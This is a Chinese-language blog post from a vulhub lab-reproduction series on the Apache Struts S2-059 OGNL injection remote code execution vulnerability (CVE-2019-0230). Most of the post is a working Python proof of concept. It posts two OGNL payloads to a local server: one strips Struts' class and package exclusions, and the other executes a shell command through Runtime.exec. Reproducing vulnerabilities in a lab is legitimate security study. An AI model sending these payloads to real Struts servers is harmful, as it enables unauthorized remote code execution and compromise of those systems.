S2-059 远程代码执行漏洞(CVE-2019-0230)

最新推荐文章于 2022-12-14 19:45:00 发布

小白萝卜

最新推荐文章于 2022-12-14 19:45:00 发布

阅读量444

点赞数

分类专栏： vulhub漏洞复现文章标签：安全

本文链接：https://blog.csdn.net/EC_Carrot/article/details/119710671

版权

vulhub漏洞复现专栏收录该内容

178 篇文章 29 订阅

订阅专栏

漏洞简介

影响版本: Struts 2.0.0 - Struts 2.5.20
详细请看：https://github.com/vulhub/vulhub/blob/master/struts2/s2-059/README.zh-cn.md

漏洞复现

我们用python来运行以下Poc，即可利用漏洞：

import requests

url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)